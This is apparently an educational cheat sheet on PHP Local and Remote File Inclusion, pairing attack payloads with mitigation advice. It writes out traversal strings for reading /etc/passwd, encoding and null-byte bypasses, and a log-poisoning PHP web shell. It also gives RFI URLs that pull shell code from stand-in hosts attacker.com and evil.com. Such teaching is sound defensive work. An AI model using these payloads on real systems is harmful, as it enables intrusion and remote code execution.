# LFI (Local File Inclusion) & RFI (Remote File Inclusion)

LFI

Local File Inclusion — attacker tricks the application into including local files from the server’s file system.

RFI

Remote File Inclusion — attacker includes remotely hosted files (often malicious) via a vulnerable include/require statement.

Both occur when user input is used **unsanitized** in file-handling functions like:

include($\_GET['page']);

require($\_GET['file']);

# Key Differences

| Feature | LFI | RFI |
| --- | --- | --- |
| File Location | Local (on the server) | Remote (external URL) |
| File Access | Read/include local files like /etc/passwd | Load malicious scripts from remote servers |
| Common Impact | File disclosure, RCE via log injection | Remote code execution |
| Affected Settings | Works on default PHP config | RFI requires allow\_url\_include=On |

# LFI Payload Examples

## Basic Local File Read

?page=../../../../etc/passwd

## Directory Traversal Variants

?page=....//....//....//etc/passwd  
?page=..%2f..%2f..%2fetc%2fpasswd

## Null Byte Injection (legacy PHP)

?page=../../../../etc/passwd%00

## Log Poisoning (LFI → RCE)

Inject PHP in User-Agent: User-Agent: <?php system($\_GET['cmd']); ?>  
Include Apache log file: ?page=/var/log/apache2/access.log&cmd=whoami

# RFI Payload Example

?page=http://attacker.com/shell.txt

Attacker-hosted file (shell.txt): <?php system($\_GET['cmd']); ?>

Executes commands remotely: ?page=http://evil.com/shell.txt&cmd=id

# Impact of LFI/RFI

| Type | Impact |
| --- | --- |
| LFI | Disclosure of source code, credentials, tokens, /etc/passwd, logs |
| LFI to RCE | Shell execution via log injection or upload directory |
| RFI | Immediate Remote Code Execution |
| Privilege Escalation | Read private keys, config files |
| DoS | Load large or recursive files (e.g., /proc/self/environ) |

# Common LFI/RFI Targets

| File | Use |
| --- | --- |
| /etc/passwd | User enumeration |
| /proc/self/environ | Leak env variables |
| /var/log/apache2/access.log | Log poisoning |
| C:\boot.ini | Windows file access |
| ../../uploads/shell.php | Access uploaded shell |

# Tools for Testing

| **Tool** | **Purpose** |
| --- | --- |
| **Burp Suite** | Manual payload injection |
| **LFI Suite** | Automates LFI/RFI testing |
| **Ffuf / Dirsearch** | Find file parameters |
| **WFuzz** | Brute-force file paths |
| **Commix** (combo) | If RCE is achieved post-LFI |

# Detection Techniques

| Technique | Description |
| --- | --- |
| Inject Traversal Payload | Observe file output (root:x:) |
| Observe Error Messages | Look for failed to open stream |
| Use Null Byte or URL encoding | Bypass file extension checks |
| Access Known File | Try /etc/passwd, wp-config.php |
| Log Poisoning | Inject PHP into headers and include logs |

# Mitigation

## 1. Never Include Untrusted Input

**include($\_GET['file']); // ❌ bad  
Use whitelisting  
$allowed = ['home', 'about'];  
$page = in\_array($\_GET['page'], $allowed) ? $\_GET['page'] : 'home';**

## 2. Disable Dangerous PHP Settings

**Turn off allow\_url\_include and allow\_url\_fopen:**

**php.ini:  
allow\_url\_include = Off  
allow\_url\_fopen = Off**

## 3. Input Validation and Encoding

* **Block traversal (../, %2e%2e)**
* **Use strict input sanitization (e.g., regex for known slugs only)**

## 4. Web Server Hardening

* **Disable directory listing**
* **Restrict readable files via .htaccess or nginx.conf**

## 5. Use WAF and RASP

* **Detect directory traversal or remote inclusion patterns**
* **Block access to common LFI payloads**

# Points

LFI/RFI occurs when an app includes files based on user input **without sanitizing path or filename**.”

“LFI can escalate to RCE using **log injection**, **uploaded shells**, or **wrapper protocols** like php://input.”

“RFI is rare today due to **default PHP hardening**, but is still possible in legacy apps.”

# Real-World LFI/RFI Incidents

| Org | Issue |
| --- | --- |
| Joomla | RFI in older versions led to mass exploits |
| WordPress Plugins | LFI in vulnerable themes (timthumb.php) |
| CTFs & Bug Bounties | LFI → RCE chains common in exposed PHP apps |
| Government Sites | LFI revealed secrets via /proc/self/environ or log files |